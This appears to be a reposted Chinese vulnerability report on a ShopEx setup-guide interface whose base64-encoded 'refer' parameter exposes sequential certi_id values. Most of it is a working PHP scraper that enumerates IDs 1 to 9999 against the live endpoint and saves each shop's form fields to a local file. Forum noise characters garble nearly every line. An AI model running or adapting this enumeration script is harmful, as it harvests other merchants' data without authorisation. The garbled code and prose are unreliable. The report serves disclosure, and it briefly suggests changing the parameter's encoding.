ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
5 C6 O8 \7 K) k问题出现在shopex 网店使用向导页面
5 b* f/ F7 Y8 e* B1 O2 I: j

  C$ F6 `: A& w0 `1 s% k* {
# e4 n+ }' |6 _! H: Khttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
; F+ x% c+ o) j% H& k. c( D
5 C! ?" {; h3 Z
8 S" ?" X! C) A) J+ @/ g+ L
' j+ h% ]2 b% mrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
! ]# k- ^' y1 L- W! d


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
' A* j* s+ B7 @$ x* l/ I/ g

# s' |4 i. a( S% T
3 X! ]- E3 ], d+ c<?php
+ A7 ?6 l8 n5 p
# A0 M. B+ T/ O  ^% y. H! x8 |                for ($i=1; $i < 10000; $i++) { //遍历
: n6 l4 V1 K: T( w# s$ F( U; j- B( ]
. q2 W( ~0 s$ ?% ]* Z4 ^' m4 s                        ShowshopExD($i);
0 L. z* ]& Q% E" l3 f
( }7 e/ `7 [# Y1 X6 u2 @& x                }

                function ShowshopExD($cid) {

3 e8 F& X5 _0 e5 S; f3 @                $url='http://guide.ecos.shopex.cn/step2.php';
  m! F6 j7 Q4 q) r2 t
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
# T/ n% \5 o/ ?8 J/ d
" W7 m  e* i+ ^0 m" c        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
, X5 r# ?, B9 O. @/ M- D0 T1 J
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
: _0 H  Q* L# r7 m; i
. Z$ {1 b7 \) g( v- a: k. O        $result = curl_exec($ch);
% m% [7 z+ M$ X' P) |2 \
1 D4 K" X* H4 f" S        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
' K- h  t4 D* B
/ O7 a% \# w3 a2 a. Q3 i5 I7 L        if(strpos($result,$refer))
( ^6 M# W% y/ Q% m: P+ n
        {
" d" G7 Q- |) w
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

6 [/ u- k# n9 c- W% K+ B                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {
5 p, t/ b+ U# X$ q
% K3 n7 W/ p9 X. A$ m                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

                        echo $res[1][0].':'.$res[3][0]."\r\n";
+ p# L3 Z5 u! F4 e; K
* I8 k$ ^% H# u                        $col =$res[1][0].':'.$res[3][0]."\r\n";
, B  b% T8 F, _5 U( a
                        fwrite($fp, $col, strlen($col));

/ J  |. v- C& V' n) H                }

                echo '--------------------------------'."\r\n";

1 p+ Y+ C  |6 j: s7 M* b5 g                fclose($fp);
& }; x9 W" d2 R6 G
$ i. {7 w+ R; e( c+ a        }

        flush();
% `  E9 p1 |  @
, o# m+ [/ s! p! B        curl_close($ch);

                }

?>
3 b5 N1 G0 a$ z% N5 ~2 Y漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
8 r. Z5 @" s' L  o